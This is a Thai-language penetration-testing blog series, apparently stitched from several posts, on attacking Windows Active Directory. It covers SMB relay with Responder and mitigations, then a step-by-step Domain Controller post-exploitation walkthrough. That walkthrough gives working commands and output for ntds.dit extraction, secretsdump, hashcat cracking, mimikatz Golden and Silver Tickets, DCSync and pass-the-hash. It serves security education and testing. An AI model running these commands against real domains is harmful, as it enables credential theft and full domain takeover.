mimi command -> Run a remote Mimikatz 64 bits command (eg:
mimi coffee)
mimi32 command -> Run a remote Mimikatz 32 bits command (eg:
mimi coffee)
lcmd command -> Run a local command and display the result in
MultiRelay shell (eg: lcmd ifconfig)
help -> Print this message.
exit -> Exit this shell and return in relay mode.
If you want to quit type exit and then use
CTRL-C
Any other command than that will be run as SYSTEM on the target.
Connected to 192.168.10.133 as LocalSystem.
C:\Windows\system32\:
```
หากทำได้สำเร็จจะสามารถ access ไปยังเครื่อง target ได้ด้วยสิทธ์ของ challenge-response ที่ capture มา หากมีสิทธิ์ระดับ local admin จะสามารถ run คำสั่งที่มีการ bundle mimikatz มาได้อีกด้วย
```bash
#mimi sekurlsa::logonpasswords
```
หากได้สิทธิ์ระดับ admin แต่ไม่สามารถ run คำสั่งดังกล่าวได้ อาจมีความเป็นไปได้หลายกรณี เช่นเจอ Endpoint Security ปลายทางจัดการอยู่ ต้องระวังจุดนี้ด้วย

## Mitigation
วิธีการป้องกันคือการไม่ respond ตามช่องทางที่ Responder เล่นงานได้แก่
1. Disable LLMNR : เปิด group policy management gpmc.msc แล้วเลือก group policy ที่ต้องการเลือก edit และ :br
browse Computer Configuration > Administrative Templates > Network > DNS Client > Turn off multicast name

จากนั้นให้ตั้งค่าเป็น

2. Disable NBT-NS : ไปที่ network connection เลือก Advanced TCP/IP Settings ที่ tab WINS ให้เลือก Disable NetBIOS over TCP/

3. เพื่อป้องกันการโจมตีด้วย SMB Relaying Attack ต้องทำให้เครื่องใน network ใช้ SMB Signing โดยเปิด group policy management gpmc.msc แล้วเลือก group policy ที่ต้องการเลือก edit และ browse ไปที่ Computer Configuration > \_*Windows Settings > Security Settings > Local Policies > Security Options*

จากนั้นให้ตั้งค่า Enabled ให้กับ (settings ในกรอบสีแดง) Microsoft network client: Digitally sign communications (always) และ Microsoft network server: Digitally sign communications (always)
4\. เนื่องจาก Responder มี Built-in WPAD Proxy Server สามารถ capture HTTP request ที่มีการ enable "Auto-detect settings" เพื่อค้นหา web proxy setting จาก DHCP และทำการ respond กลับได้ ดังนั้น ถ้าหากมีการ set ค่า web proxy บน browser เรียบร้อยแล้ว ไม่ควร enable การตั้งค่า Auto-detect settings

## Reference
1. Responder ใน kali มีให้อยู่แล้ว แต่หากต้องการ version ใหม่ให้ไป clone ได้จาก {rel=""nofollow""}:br
ในบทความนี้ก็ไปเอา Responder จากที่นี่
2. บทความนี้ใช้ MultiRelay.py ทำ SMB Relaying อีกทางเลือกหนึ่งคือการใช้ ntlmrelayx.py ของ Impacket ก็ทำได้เช่นกันลองดูตัวอย่างจาก {rel=""nofollow""}
3. วิธีการ enable SMB Signing สามารถดูได้ที่ {rel=""nofollow""}
4. การ enable SMB Signing จะส่งผลกระทบกับ performance ของ Network ราว ๆ 10%–15% {rel=""nofollow""} และ {rel=""nofollow""}
5. หาก compromise Exchange Server ได้สำเร็จ จะมีโอกาส compromise domain ต่อได้ เมื่อ Exchange Windows Permissions group มี privilege WriteDacl access สามารถดูรายละเอียดเพิ่มเติมได้จากบทความ "Abusing Exchange\:One API call away from Domain Admin" ที่มีรายละเอียดและ tools ให้ใช้งานครบถ้วน
{rel=""nofollow""}
# Attacking Kerberos in Windows Domain Environment
บทความชุดนี้ตั้งใจเขียนอธิบายเรื่อง Kerberos ใน Windows Domain Environment และวิธีการโจมตีเหมาะสำหรับนักทดสอบเจาะระบบ อาจเป็นประโยชน์กับผู้ดูแลระบบบ้างแต่ไม่ได้มากนักเพราะไม่ได้เน้นเนื้อหาส่วน detection และ prevention สักเท่าไรเมื่อเทียบกับการอธิบายที่มาที่ไปและวิธีการโจมตี
บทความชิ้นนี้เขียนไว้ตั้งแต่ปีที่แล้ว แต่ก็ยังเขียนไม่เสร็จสักทีเพราะตั้งใจเขียนเป็น miniseries และ publish ทีเดียวเลียนแบบ serires ดัง ๆ ใน Netflix แต่ตอนนี้คิดว่าควรจะเผยแพร่ season แรกออกไปก่อนไว้มีโอกาสจะทำ season ถัดไปเพื่อ update เนื้อหาในหัวข้อที่น่าสนใจเช่นเทคนิคใหม่ ๆ หรือแม้แต่การโจมตีไปยัง Cloud Assets
{width="100%"}
เนื้อหาของแต่ละตอนมีประมาณนี้
**EP 1.**
[/blogs/kerberos-in-windows-domain-environment](https://incognitolab.com/blogs/kerberos-in-windows-domain-environment)
ใครที่เคยได้ยินหรือรู้จัก Kerberos มาก่อน แต่อยากรู้จักให้ลึกและละเอียดขึ้น อยากให้อ่านบทนี้เป็นบทแรก เนื่องจากจะถูกอ้างอิงในภายหลังค่อนข้างบ่อยและมีความจำเป็นต่อการทำความเข้าใจถึงเทคนิคการโจมตี Kerberos ใน Windows Domain Environment :br :br
**EP 2.**
[/blogs/ntlmv2-attack](https://incognitolab.com/blogs/ntlmv2-attack)
ใน Windows Domain Environment เมื่อเครื่องที่อยู่ใน domain ต้องการสื่อสารกันจะใช้ Kerberos เป็น Protocol หลักในการทำ Authentication หากไม่สามารถใช้ Kerberos ได้ NTLMv2 จะถูกใช้งานแทน นักเจาะระบบต้องรู้จักการโจมตีบน NTLMv2 ด้วย :br :br
**EP 3.**
[/blogs/asreproast-attack](https://incognitolab.com/blogs/asreproast-attack)
เป็น attack ที่เป็นไปได้แรก ๆ ใน Kerberos Authentication Flow ที่นักเจาะระบบต้องไม่ลืมตรวจสอบ และผู้ดูแลระบบต้องห้ามผิดพลาด :br :br
**EP 4.**
[/blogs/kerberoasting-attack](https://incognitolab.com/blogs/kerberoasting-attack)
เทคนิคหนึ่งในการโจมตี Kerberos มีเป้าหมายเพื่อ crack หา Password ของ target service บน Windows Domain Environment แบบ offline โดยที่เราไม่จำเป็นต้องไปแตะหรือ interface กับ target service หรือเครื่องเป้าหมายเลย :br :br
**EP 5.**
[/blogs/pave-the-way-to-domain-admins-with-bloodhound](https://incognitolab.com/blogs/pave-the-way-to-domain-admins-with-bloodhound)
1 ใน Game Changer ของ tool สำหรับการทำ Internal Network Penetration Test ที่นักเจาะระบบไม่รู้ไม่ได้ และหากต้องประเมิน security ของ Windows Domain Environment แล้วไม่ได้ใช้ การประเมินครั้งนั้นย่อมขาดข้อมูลสำคัญไปเช่นกัน :br :br
**EP 6.**
[/blogs/domain-controller-post-exploitation](https://incognitolab.com/blogs/domain-controller-post-exploitation)
รวบรวมเทคนิคหลัง compromise domain admin สำเร็จแล้ว เช่น Golden Ticket, การ dump NTDS.dit, DC Sync, Silver Ticket และเทคนิคอื่น ๆ ที่ควรจะเคยได้ยินบ้าง :br :br
---
บทความชุดนี้น่าจะตอบโจทย์ของคนที่อยากเข้าใจ Kerberos มากขึ้นและใช้เป็นแหล่งอ้างอิงสำหรับการทดสอบ Internal Network Penetration Test ได้เป็นอย่างดี
# Domain Controller Post-exploitation
หลังจากที่เราสามารถ compromise ผู้ใช้งานในกลุ่ม domain admins ได้สำเร็จ ในเชิงเทคนิคแล้ว domain นั้นย่อมถูก compromise ไปเรียบร้อยแล้ว ขั้นตอนถัดจากนี้เป็นทางเลือกในการขยายการ compromise ให้มากขึ้นซึ่ง penetration tester หรือแม้แต่ attacker สามารถเลือกที่จะทำได้
## 1. Find more credentials from ntds.dit
โดยปกติแล้ว database ของ Active Directory จะถูกเก็บอยู่ใน file ชื่อ ntds.dit ซึ่งสิ่งที่เราสนใจเป็นพิเศษก็คือข้อมูล hash ของ password ของผู้ใช้งานใน domain
{width="100%"}
ปกติแล้ว file นี้ถูกเก็บอยู่ในรูปแบบที่ทำการเข้ารหัสไว้ด้วยค่า encryption key ที่ถูกเก็บอยู่ใน system registry ถ้าเราพยายามaccess เจ้า ntds.dit ในช่วง runtime ระบบปฏิบัติการจะไม่อนุญาต เราจะมี 2 ทางเลือกในการเก็บ ntds.dit ออกมา
1. ไปหา backup ของมันมาใช้งานต่อ
2. ทำ shadow copy ซึ่งเป็น feature ที่ Window สร้างขึ้นมาเพื่อทำ local backup ซึ่งเราสามารถที่จะ access ntds.dit ได้โดยสร้างbackup ของ ntds.dit ขึ้นมาเอง
วิธีการ ให้ทำตามตัวอย่างคำสั่งที่ได้แสดงเอาไว้ โดย comment ถูกแสดงหลังเครื่องหมาย // เวลา run แสดงผลจริง ๆ จะไม่มี
```bash
C:\Users\Administrator\Desktop>ntdsutil
ntdsutil: ?
//Set "NTDS" or a specific AD LDS instance as the active instance.
ntdsutil: activate instance ntds
Active instance set to "ntds".
//IFM media creation
ntdsutil: ifm
//จะสร้างที่ path ไหนก็ได้
ifm: create full c:\temp
Creating snapshot...
Snapshot set {ef4ee8c1-9040-4438-85e3-8b13df8032a9} generated
successfully.
Snapshot {427e977d-090b-49e7-aec4-68f600f46d08} mounted as C:\$SNAP_202108162355_VOLUMEC$\
Snapshot {427e977d-090b-49e7-aec4-68f600f46d08} is already mounted.
Initiating DEFRAGMENTATION mode...
Source Database:
C:\$SNAP_202108162355_VOLUMEC$\Windows\NTDS\ntds.dit
Target Database: c:\temp\Active Directory\ntds.dit
Defragmentation Status (% complete)
0 10 20 30 40 50 60 70 80 90 100
|----|----|----|----|----|----|----|----|----|----|
...................................................
//copy ค่า encryption key
Copying registry files...
Copying c:\temp\registry\SYSTEM
Copying c:\temp\registry\SECURITY
Snapshot {427e977d-090b-49e7-aec4-68f600f46d08} unmounted.
IFM media created successfully in c:\temp
//เสร็จเรียบร้อย อย่าลืม quit
ifm: quit
ntdsutil: quit
```
หลังจากทำ backup ของ ntds.dit เสร็จเรียบร้อยลองดูที่ output directory ควรจะมีโครงสร้างดังนี้
```bash
c:\temp>tree /f
Folder PATH listing
Volume serial number is 0000006E 5C91:C1F2
C:.
├───Active Directory
│ ntds.dit
│ ntds.jfm
│
└───registry
SECURITY
SYSTEM
```
หลังจากนั้นให้ทำการ dump credential รูปแบบ LM\:NT hash ออกจาก ntds.dit ซึ่งจะใช้ tool ชื่อ secretdump ภายใต้ชุดเครื่องมือImpacket {rel=""nofollow""}
```bash
//คำสั่งนี้จะ extract hash credential ออกมาจาก ntds.dit
└─$ python3 ~/tools/impacket/examples/secretsdump.py -ntds Active\
Directory/ntds.dit -system registry/SYSTEM LOCAL -outputfile
ntdsdump
Impacket v0.9.24.dev1+20210702.183028.4821d64e — Copyright 2021
SecureAuth Corporation
[*] Target system bootKey: 0x2a951dede73xxx20cf08398627a011xx
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 6adb992be7xx95082266720c03930fxx
[*] Reading and decrypting hashes from Active Directory/ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f599168881e0ad26a
xxc5a25ff75a4xx:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16aexxxb73c59d7e
0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6xxx0d16ae931
b73c59d7e0c089xx:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:96e10xxx4bd187b549c9358d12
1c85xx:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a0xxc51b3fe7axxa7c227af9
0106a3xx:::
DEMODOMAIN.local\mark:1104:aad3b435b51404eeaad3b435b51404ee:d44d5e05
91cxxf6ecb6d6a86ec9a12xx:::
```
output ที่ได้จะนำไปใช้งานต่อ โดยจะนำ ntdsdump.ntds ไปทำการ crack ต่อด้วย hashcat
```bash
┌──(kali㉿kali)-[~/Desktop/works/local]
└─$ ls
‘Active Directory’ ntdsdump.ntds ntdsdump.ntds.kerberos
ntdsdump.ntds.cleartext registry
//ทำการ crack ด้วย hashcat
$ hashcat -r hob064.rule -m 1000 ntdsdump.ntds
/usr/share/wordlists/rockyou.txt -o cracked1.txt
//แสดงผลในรูปแบบที่มี username, hash, plaintext password
$ hashcat — show — username -m 1000 ntdsdump.ntds -o cracked1.txt
```
### Remark:
```text
\- potfile เก็บอยู่ที่ \~/.hashcat/hashcat.potfile
\- hash pattern code ดูได้จาก
```
## 2. Create a new domain admin account
ทำการสร้าง domain admin account ใหม่ขึ้น โดยปกติแล้วไม่แนะนำเนื่องจากเป็น activity ที่จะ trigger ให้เกิด alert กับอุปกรณ์ network security monitoring tool ส่วนใหญ่มักจะทำเพื่อทดสอบดูกระบวนการ Incident Response ว่าเจอ anomaly behaviour หรือไม่
## 3. Create a golden ticket
หากเราสามารถ compromise KDC หรือเครื่อง domain controller ได้ และได้ NTLM hash หรือ AES key ของ krbtgt มา เราจะสามารถสร้าง TGT ได้ตามที่เราต้องการ โดยไม่ต้องผ่านขั้นตอน KRB\_AS\_REQ และ KRB\_AS\_REP (step 1–2 ตาม Kerberos Authentication flow ซึ่งถูก filter ให้เป็นสีเข้มตามภาพ)โดย TGT ปลอมที่สร้างขึ้นมานั้น จะมีสิทธิ์ตามที่เรากำหนดและ sign ด้วย key จาก ktbtgt ตัว ticket ที่ถูกสร้างขึ้นเราเรียกว่า "Golden Ticket"

*คำว่า* *Golden Ticket* *นำมาจากภาพยนต์เรื่อง* *Willy Wonka & the Chocolate Factory* *หากใครได้* *Golden Ticket* *แล้วจะสามารถเข้าไป* *Chocolate Factory* *ได้*
## Facts ที่น่าจะรู้ไว้บ้าง
- TGT ที่สร้างขึ้นสามารถใช้งานได้จริง (fully functional TGT)
- โดย default แล้ว TGT ที่สร้างขึ้นมาหรือ Golden Ticket มีอายุ 10 ปี
- TGT ที่มีอายุน้อยกว่า 20 นาที, TGS จะถูกสร้าง โดยไม่มีการตรวจสอบความถูกต้องของ TGT และผู้สร้างซึ่ง attacker สามารถสร้างได้เรื่อย ๆ หลังจากสามารถสร้าง TGS ได้แล้ว TGS นั้นจะ valid อีก 10hrs
- การสร้าง TGT ไม่จำเป็นต้อง interact กับ KDC เลย สังเกตว่า ขั้นตอนที่ 1 และ 2 ไม่มีความจำเป็นเพราะ เราสร้าง TGT ไปแล้ว และ Kerberos เป็น stateless protocol จุดมุ่งหมายของการทำ Golden Ticket ก็คือ เราสามารถสร้าง TGT ให้เป็น TGT ที่มีข้อมูล PAC เป็น account ที่ไม่มีอยู่จริงและมีสิทธิ์ตามที่เราอยากได้
- หาก krbtgt account ถูก compromise หรือถ้าทดสอบเจาะระบบแล้วดันไปทำ Golden Ticket ไว้แล้ว asset owner ไม่สบายใจ จะต้อง reset password ของ krbtgt งานจะใหญ่เพราะมีผลกับproduction เนื่องจาก ต้อง reset 2 รอบ รอบแรกทำแล้ว KDC จะพยายาม validate TGT กับ password history ที่มีอยู่ (2 passwords) ต้องทำการ reset password รอบที่ 2 หลังจากรอบแรกประมาณ 30mins เมื่อทำแล้ว TGT ทั้งหมดในระบบจะใช้ไม่ได้
{width="100%"}
## วิธีสร้าง Golden Ticket
1. หา SID ของ domain จากคำสั่งดังกล่าวจะได้ค่า SID เป็น S-1–5–21–4097063694–3848447163–3402915358
```bash
C:\Users\Administrator>wmic useraccount get name,sid
Name SID
Administrator S-1-5-21-4097063694-3848447163-3402915358-500
Guest S-1-5-21-4097063694-3848447163-3402915358-501
krbtgt S-1-5-21-4097063694-3848447163-3402915358-502
DefaultAccount S-1-5-21-4097063694-3848447163-3402915358-503
andy S-1-5-21-4097063694-3848447163-3402915358-1104
dorothy S-1-5-21-4097063694-3848447163-3402915358-1106
IIS_002 S-1-5-21-4097063694-3848447163-3402915358-14601
mark S-1-5-21-4097063694-3848447163-3402915358-15603
```
2. ค่า hash ของ krbtgt ที่ได้จากการ extract ntds.dit ด้วย py สังเกตว่าใช้ encryption type แบบใด (Computer Configuration >> Windows Settings >> Security Settings >> Local Policies >> Security Options >> "Network security: Configure encryption types allowed for Kerberos") สำหรับรายละเอียด encryption type แต่ละชนิดสามารถอ่านเพิ่มเติมได้ที่
[Network security: Configure encryption types allowed for Kerberos](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-configure-encryption-types-allowed-for-kerberos){rel=""nofollow""}
{width="100%"}
3. ใช้ exe (ไม่จำเป็นต้อง run ด้วยสิทธิ์ domain admin)
```bash
.#####. mimikatz 2.1.1 (x64) built />
.## ^ ##. "A La Vie, A L’Amour" — (oe.eo) ** Kitten Edition **
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gent.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
‘## v ##’ Vincent LE TOUX ( vincent.letoux@gmail.com )
‘#####’ > http://pingcastle.com / http://mysmartlogon.com ***/// สร้าง golden ticket
mimikatz # kerberos::golden /rc4:a0xxc51b3fe7axxa7c227af90106a3xx /id:500 /user:incognito /domain:demodomain.local /sid:S-1–5–21–4097063694–3848447163–3402915358
User : incognito
Domain : demodomain.local (DEMODOMAIN)
SID : S-1–5–21–4097063694–3848447163–3402915358
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: a0xxc51b3fe7axxa7c227af90106a3xx — rc4_hmac_nt
Lifetime : 8/17/2021 3:07:40 PM ; 8/15/2031 3:07:40 PM ; 8/15/2031 3:07:40 PM
-> Ticket : ticket.kirbi* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generatedFinal Ticket Saved to file !
```
หลังจาก run เสร็จ จะพบว่ามี file ชื่อ ticket.kirbi (สังเกตว่า lifetime ของมันมีอายุ 10 ปี)ให้ทำการ load เข้าสู่ session ของ mimikatz ได้เลย
```bash
mimikatz # kerberos::ptt ticket.kirbi
* File: ‘ticket.kirbi’: OK
```
ลอง list รายการของ TGT และ TGS ใน memory ด้วยชุดคำสั่งใน mimikatz
```bash
mimikatz # kerberos::list
[00000000] — 0x00000017 — rc4_hmac_nt
Start/End/MaxRenew: 8/17/2021 3:07:40 PM ; 8/15/2031 3:07:40 PM ;
8/15/2031 3:07:40 PM
Server Name : krbtgt/demodomain.local @ demodomain.local
Client Name : incognito @ demodomain.local
Flags 40e00000 : pre_authent ; initial ; renewable ; forwardable ;
```
หรือใช้คำสั่ง klist ผ่าน command line ก็ได้ผลเช่นเดียวกัน
```bash
PS C:\Users\andy> klist
Current LogonId is 0:0xa13a1
Cached Tickets: (1)
#0> Client: incognito @ demodomain.local
Server: krbtgt/demodomain.local @ demodomain.local
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40e00000 -> forwardable renewable initial
pre_authent
Start Time: 8/17/2021 15:07:40 (local)
End Time: 8/15/2031 15:07:40 (local)
Renew Time: 8/15/2031 15:07:40 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0x1 -> PRIMARY
Kdc Called:
```
4. ทดสอบใช้พลังแห่ง Golden Ticket
```bash
//ลอง run คำสั่ง ถ้าไม่ใช่ admin ของเครื่อง Domain Controller จะทำแบบนี้ไม่ได้
# pushd \\dc\c$
```
หรือใช้ psexec ไปยังเครื่อง Domain Controller จะพบว่า user ที่เราสร้างขึ้นคือ incognito มีสิทธิ์เทียบเท่า domain admin แต่ไม่มีรายชื่ออยู่ใน group ของ domain admins
```bash
#PsExec.exe \\dc cmd.exe
PsExec v2.2 — Execute processes remotely
Copyright © 2001–2016 Mark Russinovich
Sysinternals — www.sysinternals.com
Microsoft Windows [Version 10.0.14393]
© 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
demodomain\incognito
C:\Windows\system32>net group "domain admins"
Group name Domain Admins
Comment Designated administrators of the domain
Members
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — -
Administrator andy.admin
The command completed successfully.
C:\Windows\system32>
```
5. Implant a skeleton key
เป็นเทคนิคที่ทำการ patch LSASS.exe เพื่อจะใช้ master password เพียงหนึ่งเดียวในการ authenticate กับ domain controller โดยที่ password เดิมที่ใช้งานอยู่ยังใช้ได้และ master password ก็ใช้ได้เช่นกัน เทคนิคดังกล่าวเกิดขึ้นใน memory บนเครื่อง domain controller ที่ถูก implant ด้วย skeleton key เท่านั้น เมื่อ reboot แล้ว skeleton key ก็จะหายไปด้วย ส่วนตัวเวลาทดสอบเจาะระบบไม่กล้าใช้เทคนิคนี้เนื่องจากเสี่ยงถูก malware ที่อยู่ในเครือข่ายฉวยโอกาสถ้าเราใช้ skeleton key ของ tool ที่ master password ไม่ได้เปลี่ยนแปลง และเสี่ยงต่อการถูกด่าได้เนื่องจากมันดูคล้ายกับการวาง backdoor บนเครื่อง domain controller

จากภาพทำการ implant skeleton key ผ่าน mimikatz เมื่อ run เสร็จเรียบร้อยแล้ว entity ที่ authenticate กับ domain controller เครื่องนี้ จะสามารถใช้ password ได้ 2 ชุด คือ password ปัจจุบันที่ใช้อยู่และ password อีกชุดคือ "mimikatz"
6. Perform DC Sync to gain the target’s latest credential
เทคนิค DC Sync Attack เป็นเทคนิคที่ถูก pioneer โดย Benjamin Delpy และ Vincent Le Toux (ทั้งสองคนร่วมพัฒนา mimikatz ด้วยกัน) เป็นเทคนิคที่โจมตีโดย impersonate เครื่อง non-domain controller ให้สามารถ synchronise ข้อมูลกับเครื่อง domain controller ได้ ปกติแล้วกระบวนการดังกล่าวทำผ่าน Active Directory Replication ด้วย protocol ชื่อ Directory Replication Service (DRS) Remote Protocol

หากลองทดสอบ run คำสั่งดังกล่าวบนเครื่อง domain controller ก็จะแสดงผลให้เห็น replication status ระหว่างกลุ่มเครื่อง domain controller
เมื่อเราสามารถ impersonate domain controller ได้ การจะดึงข้อมูลสำคัญพวก hash ของ accounts ที่สนใจย่อมทำได้เช่นกัน โดยผลที่ได้จะเหมือนกับการทำ ntds.dit แต่ข้อดีของ DC Sync คือเราสามารถ target เฉพาะบาง account ที่เราสนใจได้ มักใช้ในกรณีที่มี account บางคนทำการเปลี่ยน password หลังจากที่เราได้ ntds.dit มาแล้วและไม่อยากทำใหม่อีกรอบ การทำ DC Sync ก็เป็นวิธีที่สะดวกไม่น้อย วิธีการคือต้องมีสิทธิ์ระดับ domain admins หรือ enterprise admins จากนั้น run mimikatz โดยใช้คำสั่ง
```bash
lsadump::dcsync /domain:\[ชื่อ domain\] /user:\[target user account\]
```
```bash
C:\Users\Administrator\Desktop>mimikatz
.#####. mimikatz 2.1.1 (x64) built on Sep 25 2018 15:08:14
.## ^ ##. "A La Vie, A L’Amour" — (oe.eo) ** Kitten Edition **
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
‘## v ##’ Vincent LE TOUX ( vincent.letoux@gmail.com )
‘#####’ > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz # lsadump::dcsync /domain:demodomain.local /user:krbtgt
[DC] ‘demodomain.local’ will be the domain
[DC] ‘DC.demodomain.local’ will be the DC server
[DC] ‘krbtgt’ will be the user account
Object RDN : krbtgt
** SAM ACCOUNT **
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 6/18/2018 13:32:19 AM
Object Security ID : S-1–5–21–4095063694–3848447163–3403915358–502
Object Relative ID : 502
Credentials:
Hash NTLM: a0xxc51b3fe7axxa7c227af90106a3xx
ntlm- 0: a0xxc51b3fe7axxa7c227af90106a3xx
lm — 0: bd1db11 — — — — — 43d23c92xxx8b7a
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : …
* Primary:Kerberos-Newer-Keys *
Default Salt : demodomain.localkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : xxx
aes128_hmac (4096) : xxx
des_cbc_md5 (4096) : xxx
* Primary:Kerberos *
Default Salt : demodomain.localkrbtgt
Credentials
des_cbc_md5 : xxx
* Packages *
NTLM-Strong-NTOWF
* Primary:WDigest *
01 xxx
02 xxx
03 xxx
```
ยังมีเทคนิคที่ชื่อว่า DC Shadow ซึ่ง advanced กว่า DC Sync โดยจะทำการ register เครื่อง DC ตัวใหม่เข้าไปใน schema, commit และ demote ภายหลัง ใครอยากรู้รายละเอียดให้ดูที่ DCShadow ได้เลย
7. Attack the services with Silver Ticket
Silver Ticket คือการสร้าง TGS ปลอมขึ้นมาเพื่อไปทำงานกับtarget service โดยตรง ไม่ได้ผ่านกระบวนการปกติและไม่ได้ interact กับ KDC (ข้ามขั้นตอนที่ 1–4) ที่สำคัญคือข้อมูล PAC จะถูกสร้างขึ้นในรูปแบบที่เราต้องการ ซึ่งโดยปกติแล้ว PAC signature จะไม่ผ่านกระบวนการ PAC validation ถ้าไม่ถูก enable

*ทำไมเราต้องสนใจ* *Silver Ticket* *ด้วยในเมื่อเราสามารถ* *compromise local admin* *ได้* *?*
*สมมติ* *SPN, service* *ปลายทางเช่น* *MSSQL* *หรือ* *password* *ของ* *local administrator* *ถูกเปลี่ยนทำให้เราไม่สามารถ* *access* *เข้่าใช้งาน* *target service* *ได้ แต่ถ้าเราสร้าง* *Silver Ticket* *ไว้ก่อน การเข้าถึง* *target service* *ย่อมทำได้ในภายหลัง*
**วิธีสร้าง Silver Ticket**
ต้องรู้ hash ของ target service ก่อน เช่นถูก compromise มาก่อนแล้วและเคย extract NTLM hash จาก target service หรือ target computer มาก่อน จากนั้นวิธีการทำจะคล้าย ๆ กับการทำ Golden Ticket จากตัวอย่างคำสั่งด้านล่างทำการโจมตีไปที่ CIFS service เพื่อเข้าถึง file sharing ด้วยสิทธิ์ local admin
```bash
mimikatz # kerberos::golden /rc4:c37xxxx5b368343886d7cb776xxxxbfa
/id:500 /user:icladmin /domain:demodomain.local /sid:S-1–5–21–
4097063694–3848447163–3402915358 /target:server01.demodomain.local
/service:cifs /ptt
User : icladmin
Domain : demodomain.local (DEMODOMAIN)
SID : S-1–5–21–4097063694–3848447163–3402915358
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: c37xxxx5b368343886d7cb776xxxxbfa — rc4_hmac_nt
Service : cifs
Target : server01.demodomain.local
Lifetime : 8/19/2021 12:47:04 AM ; 8/17/2031 12:47:04 AM ; 8/17/2031
12:47:04 AM
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for ‘icladmin @ demodomain.local’ successfully
submitted for current session
mimikatz # misc::cmd
Patch OK for ‘cmd.exe’ from ‘DisableCMD’ to ‘KiwiAndCMD’ @
00007FF6F4B595E0
mimikatz # kerberos::list
[00000000] — 0x00000017 — rc4_hmac_nt
Start/End/MaxRenew: 8/19/2021 12:47:04 AM ; 8/17/2031 12:47:04 AM ;
8/17/2031 12:47:04 AM
Server Name : cifs/server01.demodomain.local @ demodomain.local
Client Name : icladmin @ demodomain.local
Flags 40a00000 : pre_authent ; renewable ; forwardable ;
mimikatz # misc::cmd
Patch OK for ‘cmd.exe’ from ‘DisableCMD’ to ‘KiwiAndCMD’ @
00007FF6F4B595E0
```
Remarks:
- /ptt คือ pass the ticket สร้าง ticket เพื่อนำไปใช้ใน Kerberos authentication flow
- pth คือ pass the hash เช่นการใช้ psexec ด้วย hash ซึ่งอธิบายใน {rel=""nofollow""}
- over-pass-the-hash หากใน windows environment ไม่อนุญาตให้ใช้ Net-NTLMv2 การทำ pass the hash attack จะทำไม่ได้ ให้ใช้ over-pass-the-hash เพื่อนำ hash ไปสร้าง TGT และอยู่ใน Kerberos authentication flow ตามปกติ
```bash
mimikatz # privilege::debug
Privilege ‘20’ OK
mimikatz # sekurlsa::pth /user:penelope /domain:demodomain.lolcal /ntlm:9caxxxx7aa573a363c09xxxx738610ec
user : penelope
domain : demodomain.lolcal
program : cmd.exe
impers. : no
NTLM : 9caxxxx7aa573a363c09xxxx738610ec
| PID 4912
| TID 5456
| LSA Process is now R/W
| LUID 0 ; 6409602 (00000000:0061cd82)
\_ msv1_0 — data copy @ 000001BD5F67EAE0 : OK !
\_ kerberos — data copy @ 000001BD6625CA58
\_ aes256_hmac -> null
\_ aes128_hmac -> null
\_ rc4_hmac_nt OK
\_ rc4_hmac_old OK
\_ rc4_md4 OK
\_ rc4_hmac_nt_exp OK
\_ rc4_hmac_old_exp OK
\_ *Password replace @ 000001BD66837AA8 (32) -> null
```
---
Reference
1. อยากเข้าใจว่า password ใน windows environment ถูก implement อย่างไรให้อ่านที่ {rel=""nofollow""}
2. รายละเอียดเชิงลึกของ Microsoft Kerberos และการโจมตี รวมทั้ง Golden Ticket ถูกนำเสนอครั้งแรกที่นี่ {rel=""nofollow""}
3. วิธีการ reset password ของ krbtgt — {rel=""nofollow""}
4. คู่มือการใช้งาน mimikatz ฉบับ Unofficial Guide to Mimikatz & Command Reference —{rel=""nofollow""}
5. ใครอยากดูข้อมูลใน PAC ก็สามารถดูได้จาก exe จากบทความ {rel=""nofollow""}
6. ตัวอย่างการใช้ Silver Ticket จากบทความ How Attackers Use Kerberos Silver Tickets to Exploit Systems — [https://adsecurity.org/?p=2011\\](https://adsecurity.org/?p=2011%5C){rel=""nofollow""}
7. เทคนิคการทำ memory dump กับ LSASS จากบทความ {rel=""nofollow""}
8. เทคนิคอื่น ๆ ที่ไม่ได้กล่าวถึง อาจลองดูได้จาก {rel=""nofollow""}
# Pave the way to Domain Admins with BloodHound
ก่อนหน้าที่จะมี tools ชื่อ BloodHound การโจมตี Domain Controllers และ Escalate ตัวเองเป็นสิทธิ์ Domain Admins ใช้เวลานานเนื่องจาก Pentester ต้องเก็บรวบรวมข้อมูลร่องรอยของ admins ต่าง ๆ ทั้ง Local Admins หรือ Admins ระบบต่าง ๆ มาประกอบกันเพื่อหาวิธีการ compromise Domain Admins แต่หลังจากที่มี BloodHound กระบวนการต่าง ๆ ที่กล่าวถึงในการหา attack path ต่าง ๆ ไปยัง Domain Environment ง่ายขึ้นเป็นอย่างมาก จัดว่า 1 ใน Game Changer ของ tool สำหรับการทำ Internal Network Penetration Test เลยทีเดียว

